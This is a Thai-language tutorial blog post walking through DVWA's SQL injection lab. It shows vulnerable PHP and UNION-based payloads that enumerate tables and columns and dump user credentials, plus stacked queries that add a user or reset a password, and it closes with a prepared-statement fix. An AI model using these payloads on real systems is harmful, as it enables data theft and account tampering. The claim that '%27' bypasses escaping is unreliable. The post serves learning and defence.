SQL Injection จัดว่าเป็นช่องโหว่ที่ร้ายแรงอันดับต้นๆในการพัฒนา Web Application เลยก็ว่าได้ ซึ่งใน The Top 10 OWASP vulnerabilities in 2020 are: ได้ถูกจัดว่าเป็นอันดับ 1 เลยทีเดียว
วันนี้เราจะมาดูกันว่าใน DVWA หมวดของ SQL Injection และ SQL Injection Blind นั้นทำงานยังไง และเราควรป้องกันอย่างไร
โดย form นี้จะทำการส่งค่า id ของ user ที่ได้รับจาก input text ไปทำการ query ตรงๆเลยโดยไม่มีการป้องกัน params ที่ส่งไปตาม code ข้างล่างนี้
if( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);}
จะเห็นว่า ถ้าเราส่งค่า 1’ or ‘1=1 ลงไปในช่อง text input ตัว SQL Statement จะกลายเป็น
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1=1'
ทันที ดังนั้นเมื่อกด Submit ระบบจะแสดง ชื่อ User ทั้งหมดในระบบออกมา
ต่อไปเราจะใช้คำสั่ง union ใน mysql เพื่อรวม query เข้าด้วยกัน โดยจำนวน field ของอีก query ที่ดึงมาจะต้องเท่ากับ query ต้นฉบับที่ server เป้าหมายเขียนเอาไว้ใน code
ดูจากใน code แล้วเค้าดึงมา 2 field งั้นเราจะดึงมา 2 field เช่นกัน เริ่มด้ วยเราจะหาก่อนว่าเค้าใช้ sql server ยี่ห้ออะไรรุ่นอะไร จะได้ใช้ command ถูก
1' union select '-' as first_name, version()#
งั้นต่อไปเราจะลองหาทางดึง Table ในระบบมาดูกันบ้าง ว่ามี Table ชื่ออะไรบ้าง ด้วยคำสั่ง
SELECT table_schema, table_name FROM information_schema.tables
โดยเราจะใช้คำสั่ง UNION ในการเชื่อมเหมือนเดิม
1' UNION SELECT table_schema, table_name FROM information_schema.tables#
เราจะเห็นว่าใน table_schema ที่ชื่อ dvwa มี table อยู่ 2 ตัวในระบบคือ users และ guestbook ลองทดสอบด้วยคำสั่งด้านล่างอีกที เพื่อดีงเฉพาะ table ใน database ที่ชื่อว่า dvwa มาแสดงครับ
1' UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema = 'dvwa
และเราจะใช้คำสั่ง ด้านล่าง เพื่อทำการ แสดงชื่อ columns name ของทุก table ที่อยู่ใน dvwa ออกมา
1' UNION SELECT table_schema, column_name FROM information_schema.columns WHERE table_schema = 'dvwa
scope เข้าไปอีกนิด เราจะดูแต่ใน table users ว่ามี fields ชื่ออะไรบ้าง
1' UNION SELECT table_schema, column_name FROM information_schema.columns WHERE table_name = 'users
จะเห็นว่า table users มี fields ต่างๆดังนี้
แล้วดึงเฉพาะ user และ password ขึ้นมาแสดงทั้งหมด
1' UNION SELECT user, password FROM users#
แต่เนื่องจาก php code ตัวนี้เขียน คำสั่ง exec sql statement ด้วย mysqli_query สมมุติว่าเราต้องการเพิ่ม user คนใหม่เข้าไปในระบบ สามารถตั้ง role ให้เป็น root ได้ด้วยในกรณีที่มีการแบ่ง role ด้วยคำสั่งด้านล่าง จึงไม่ได้ เพราะเป็นการทำงานแบบ multiple query
คำสั่งด้านล่างจะได้ผลก็ต่อเมื่อ programmer เขียนคำสั่ง php ในการ exec sql statement เป็น mysqli_multi_query จึงจะสามารถเพิ่ม user ลงไปด้วยคำสั่งด้านล่างได้
1'; insert into users (first_name,last_name,user,password,avatar,last_login,failed_login) values ('aofiee','aofiee','aofiee',md5('abc1234'),'/hackable/users/admin.jpg',now(),0);#
หรือจะทำการเปลี่ยนรหัสผ่านของ admin ก็ได้หาก programmer เขียนคำสั่ง mysqli_multi_query ไว้
1'; update users set password=md5('password') where user='aofiee';#
แต่เพราะใน code ตัวอย่าง ของ DVWA ใช้ function mysqli_query ในการ exec command sql ผมเลยทดลองทิ้งไว้แค่นี้
อีกตัวอย่างนึงคือการ ดึงว่าตอนนี้ใช้ user อะไร connect ไปที่ database ตัวไหนอยู่
1' union select user(), database()#
จะเห็นว่า form การ input ข้อมูล id user เป็นแบบ selection ไปซะแล้ว
เราจะเริ่มจากการแก้ไขจากแบบ select ให้เป็น text box กันก่อน
<select name="id"><option value="1">1</option><option value="2">2</option><option value="3">3</option><option value="4">4</option><option value="5">5</option><option value="6">6</option></select>
เป็นแบบนี้
<input type="text" name="id"/>
เมื่อกด Submit ไปจะ error ว่า You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ’\” at line 1
เป็นเพราะมีการใส่ function mysqli_real_escape_string ครอบไว้ใน code php กัน injection ไว้เรียบร้อย
เรามาดูกันต่อครับว่าจะแก้ยังไง
จากตาราง url Encoding เราจะแปลงค่า ’ ให้เป็น %27 แล้วลองกรอกเข้าไปดู
1%27 union select user(), database()#
ผลออกมาสามารถผ่าน function mysqli_real_escape_string ได้
หรือจะทำการแสดง table ทั้งหมดออกมาแบบ ตอนเราทำ Low Level
1%27 UNION SELECT table_schema, table_name FROM information_schema.tables#
จะเป็นการเปิดให้ popup หน้าต่างใหม่ขึ้นมา แล้วทำการเปลี่ยนค่าในหน้าต่างใหม่ (เพื่อ?)
พอลองกรอกเลยพบว่าการทำงานของมันคือ จะเด้ง popup ขึ้นมาให้เรากรอก id ของ user ลงไปบน session หรือ cookies แล้ว popup จะสั่ง reload window opener
<script>window.opener.location.reload(true);</script>
ตัวหน้าต่างหลักก็จะดึงค่าจาก id ที่ระบุมาแสดง
ซึ่ง code ที่ผมเขียนมาตั้งแต่ต้นใช้ได้ใน Level นี้ทั้งหมด เพราะ level นี้กันไว้แค่ Limit ใน php
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
ซึ่งถ้าเราเติมคำสั่ง # (comment) ต่อท้ายใน sql statement จะเป็นการบอกว่า เฮ้ย ไม่ต้องทำคำสั่งหลังจากนี้แล้วนะ เป็นอันจบข่าววววววใน level นี้
ส่วน code ที่มีความปลอดภัยสูง ไม่สามารถทำ sql injection ได้ก็จะมีการเช็คหลายๆอย่างร่วมกันครับ เช่น เช็คว่า id ที่ส่งมา เป็น is_numeric ไหม มีการทำ bindParam แล้วเช็ค result ของขอมูลว่าได้เท่ากับที่เราตั้งใจดึงมาหรือเปล่า ตาม code ด้านล่างเลยครับ
<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}}// Generate Anti-CSRF tokengenerateSessionToken();?>
รอบหน้ามาต่อตอนจบกับการทำ SQL Injection Blind กันครับ วันนี้ยาวววขอลาไปก่อน
ผิดถูกประการใดแนะนำกันมาได้นะครับ ผมไม่ใช่มืออาชีพทางด้านนี้ แค่กำลังศึกษาเพื่อนำไปเพิ่มศักยภาพให้กับทีมบ้างก็เท่านั้นครับ
Quick Links
Legal Stuff